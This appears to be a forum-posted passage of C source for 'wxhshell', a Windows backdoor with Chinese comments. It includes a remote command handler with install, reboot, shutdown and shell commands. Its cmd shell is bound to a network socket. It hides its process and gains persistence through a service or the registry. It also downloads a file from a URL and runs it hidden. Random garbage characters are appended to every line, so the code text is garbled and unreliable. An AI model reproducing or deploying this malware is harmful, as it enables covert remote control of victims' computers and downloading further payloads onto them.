  case '?': { T]`" Xl8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H_]kR&F8  
    break; (#lS?+w)  
  } 2Mp;/b!  
  // 安装 #n r1- sf|  
  case 'i': { UPF=X) !M  
    if(Install()) IuD<lMeJ J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  v<W++X7z  
    else #u^d3 $Nj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uI/ A_  
    break; -`&;3 7  
    } WkE;tC*  
  // 卸载 <KX#;v!I  
  case 'r': { *fZ'#C~x  
    if(Uninstall()) ;{RQ+ZX'[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); > { Q2S  
    else O8%/Id  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;p8xL)mUP  
    break; H#K|SSqY?  
    } }$jIvb,3?  
  // 显示 wxhshell 所在路径 C.O-iBVe#  
  case 'p': { t[Q\T0E  
    char svExeFile[MAX_PATH]; ]LjW,b"  
    strcpy(svExeFile,"\n\r"); fmh]Y/UC  
      strcat(svExeFile,ExeFile); =9-c*bL  
        send(wsh,svExeFile,strlen(svExeFile),0); &/p 9+gd  
    break; }J1#UH_E  
    } vSh)r 9  
  // 重启 Zh*I0m   
  case 'b': { ND*5pRzvp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LJ?7W,?  
    if(Boot(REBOOT)) wuCODz@~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t [f]  
    else { #"l=Lv  
    closesocket(wsh); TQE_zOa:  
    ExitThread(0); S3w? X  
    } %-D2I  
    break; &>SE9w/ ?o  
    } 7-)KTBFL  
  // 关机 o'G")o  
  case 'd': { &LE/hA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H`sV\'`!}  
    if(Boot(SHUTDOWN)) t V</ x0#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \TjsXy=:)  
    else { P$Nwf,d2u  
    closesocket(wsh); '0+-Hit?  
    ExitThread(0); t$b`Am  
    } S:wmm}XQ  
    break; wXe.zLQ  
    } CKK8 o9W  
  // 获取shell 3$_wAt4w  
  case 's': { Ktoxl+I?  
    CmdShell(wsh); L fhd02  
    closesocket(wsh); %VgR *  
    ExitThread(0); r?{tBju^  
    break; 6B=J*8 Hs  
  } sHNt>5p  
  // 退出 cOSUe_S0w[  
  case 'x': { 0[^f9NZ>-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 09r.0Ks  
    CloseIt(wsh); `J;_!~:  
    break; /}Max@.`  
    } k# /_Zd  
  // 离开 kjH0u$n  
  case 'q': { 1:?Wv DN=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \7RP6o  
    closesocket(wsh); 'Q# KjY  
    WSACleanup(); ].eGsh2  
    exit(1); V<b"jCXI  
    break; HQ"D>hsuU  
        } *&7Av7S  
  } @<_4Nb  
  } b?z8Yp6  
LaRY#9  
  // 提示信息 8D-g%Aj-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =73wngw  
} uXXwMc<p  
  } @l 1 piz8  
K:mb$YJ&  
  return; \%UA6uj  
} JHcC}+H[  
vb# d%1b5  
// shell模块句柄 UhNeY{6  
int CmdShell(SOCKET sock) f -bVcWI  
{ ^XV$J-  
STARTUPINFO si; ^j@,N&W:lG  
ZeroMemory(&si,sizeof(si)); > #SQDVFf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $%LjIeVA5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X=lOwPvP  
PROCESS_INFORMATION ProcessInfo; |VIBSty2d  
char cmdline[]="cmd"; k z<We/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VgOj#Z?K  
  return 0; @X:P`?("^  
} IL\#!|>  
vI4St;  
// 自身启动模式 zUeS7\(l  
int StartFromService(void) Rh iiQ  
{ wT;D<rqe`  
typedef struct !RV}dhI  
{ P7Kp*He)  
  DWORD ExitStatus; Eg>MG87  
  DWORD PebBaseAddress; _jp8;M~Z  
  DWORD AffinityMask; H'GyWG|Wx  
  DWORD BasePriority; {/N4/gu  
  ULONG UniqueProcessId; ))<3+^S0V\  
  ULONG InheritedFromUniqueProcessId; RV-7y^[]^  
}   PROCESS_BASIC_INFORMATION; BDpeAF8z  
G0^NkH,k  
PROCNTQSIP NtQueryInformationProcess; 0GEK xV\F  
jvA]EN6$;~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HKV]Rn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lCDXFy(E  
u9J;OsnHK  
  HANDLE             hProcess; F4@``20|  
  PROCESS_BASIC_INFORMATION pbi; WI ' ;e4  
Y6f0 ?lB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Iq MXd K|  
  if(NULL == hInst ) return 0; to2dkU  
y8VLFe;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "YM)bc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 52=?! JM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zxY  
{x  s{  
  if (!NtQueryInformationProcess) return 0; S 7RB` I5  
}sZme3*J[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !>TH#sU$  
  if(!hProcess) return 0; s+l)Q  
d H]'&&M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m z) O  
Mz_*`lRN  
  CloseHandle(hProcess); (=,p"3^  
l-g+E{ZM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I8rtta  
if(hProcess==NULL) return 0; Nw* >$v  
3+rud9T  
HMODULE hMod; t[|^[%i  
char procName[255]; w|7<y8#qC  
unsigned long cbNeeded; _ 7X0  
EA8K*>'pv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8wMu^3r  
0P_qtS  
  CloseHandle(hProcess); 0 fX  
kO>F, M  
if(strstr(procName,"services")) return 1; // 以服务启动 LR|LP)I  
v!JQ;OX  
  return 0; // 注册表启动 BxVo>r  
} 0rP`BK|  
bS[;d5  
// 主模块 p'tB4V qT  
int StartWxhshell(LPSTR lpCmdLine) 5 ELKL#(  
{ )*Xd  
  SOCKET wsl; D-J G0.@  
BOOL val=TRUE; KF(N=?KO  
  int port=0; >VIb|YA  
  struct sockaddr_in door; ?B7n,!&~  
.93B@u  
  if(wscfg.ws_autoins) Install(); WrP 4*6;"  
V/"P};n  
port=atoi(lpCmdLine); X] cI ?  
8$4@U;Vh;  
if(port<=0) port=wscfg.ws_port; FtHR.S= u  
4'9yMXR  
  WSADATA data; S&N[@G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9[31EiT  
m$6u K0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AM?62  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t|XQFb@}  
  door.sin_family = AF_INET; bruM#T@}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4K{<R!2I  
  door.sin_port = htons(port); MhT.Zg\  
b9FfDDOq"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vK@t=d  
closesocket(wsl); y{{7)G  
return 1; =GGt:3Kx-  
} 1FC' iGI  
*|97 g*G(  
  if(listen(wsl,2) == INVALID_SOCKET) { vQK*:IRKK  
closesocket(wsl); }fzv9$]$  
return 1; =XbOY[  
} N i\*<:_  
  Wxhshell(wsl); #RIo6 3  
  WSACleanup(); >U?U ;i  
35>VCjCw0  
return 0; #I]5)XT  
0C3s  
} ~ 8hAmM  
"j(?fVx  
// 以NT服务方式启动 =6o,{taZ.~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X0IXj%\N  
{ UM?{ba9  
DWORD   status = 0; |gl~wG1@  
  DWORD   specificError = 0xfffffff; <0?h$hf4c  
7-*QF>w<a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f[}N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zzq7?]D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  Xn<~ln  
  serviceStatus.dwWin32ExitCode     = 0; 2`|1 !x  
  serviceStatus.dwServiceSpecificExitCode = 0; JYQ.Y!X1O  
  serviceStatus.dwCheckPoint       = 0; Cq-d,  
  serviceStatus.dwWaitHint       = 0; $8k QM  
OB-2xmZW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^g[,}t:/d  
  if (hServiceStatusHandle==0) return; qT U(]O1  
aahAUhF  
status = GetLastError(); 7.G1Q]6/  
  if (status!=NO_ERROR) D'dE!CAUs  
{ $M `%A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y1zNF$<q  
    serviceStatus.dwCheckPoint       = 0; JjH#,@'.  
    serviceStatus.dwWaitHint       = 0; {u/G!{N$  
    serviceStatus.dwWin32ExitCode     = status; Z @:5vo  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;THb6Jz/+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M!KHBr  
    return; 8UA bTqB-  
  } ulcm  
X<6Ro es2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !>%U8A  
  serviceStatus.dwCheckPoint       = 0; OI=LuWGQE1  
  serviceStatus.dwWaitHint       = 0; 7.-g=Rcz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZjlFr(  
} 5P?7xRA  
%]~XbO  
// 处理NT服务事件,比如:启动、停止 K2= `.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pI__<  
{ m -{t%[Y  
switch(fdwControl) s`:>"1\|  
{ j\,HquTR  
case SERVICE_CONTROL_STOP: 37 #|X*L  
  serviceStatus.dwWin32ExitCode = 0; KK}?x6wV0,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7N@4c   
  serviceStatus.dwCheckPoint   = 0; ~j1.;WId[  
  serviceStatus.dwWaitHint     = 0; $]&0`F  
  { ,34|_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iG:9uDY  
  } ]Bp db'  
  return; QQQ3U  
case SERVICE_CONTROL_PAUSE: I|RMxx y;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jafIKSD]%  
  break; {i:5XL   
case SERVICE_CONTROL_CONTINUE: &}TfJ=gj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k>W5ts2+  
  break; KJ7[DN'(  
case SERVICE_CONTROL_INTERROGATE: me-:A:si  
  break; /3MTutM|<X  
}; lnXb]tm;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2>Uy`B|f  
} a6UW,n"n  
s_`PPl_D$K  
// 标准应用程序主函数 mLa0BIP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &e#>%0aS  
{ A5d(L4Q]a(  
[dszz7/L  
// 获取操作系统版本 sd (I@ &y  
OsIsNt=GetOsVer(); -c^/k_n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -EwtO4vLJ  
Fx^e%":@ip  
  // 从命令行安装 uO4kCK<7C  
  if(strpbrk(lpCmdLine,"iI")) Install(); =1rq?M eX  
a$Lry?pb  
  // 下载执行文件 @<GVY))R8  
if(wscfg.ws_downexe) { ?q}XD c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9u3~s <  
  WinExec(wscfg.ws_filenam,SW_HIDE); "8p fLI  
} D.e4S6\&  
UV?.KVD~  
if(!OsIsNt) { x#mZSSd  
// 如果时win9x,隐藏进程并且设置为注册表启动 s_(%1/{  
HideProc(); c|f)k:Q  
StartWxhshell(lpCmdLine); nm[ yp3B  
} ##%R|P3  
else R]oi&"H@r)  
  if(StartFromService()) Q?Au.q],  
  // 以服务方式启动 P #_8$#G3  
  StartServiceCtrlDispatcher(DispatchTable); B3p[A k  
else j Hd <*  
  // 普通方式启动 \\j98(i  
  StartWxhshell(lpCmdLine); 0(owFNUBs  
0baq696<F  
return 0; Z;/"-.i  
}
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只看该作者 1 发表于: 2006-10-10
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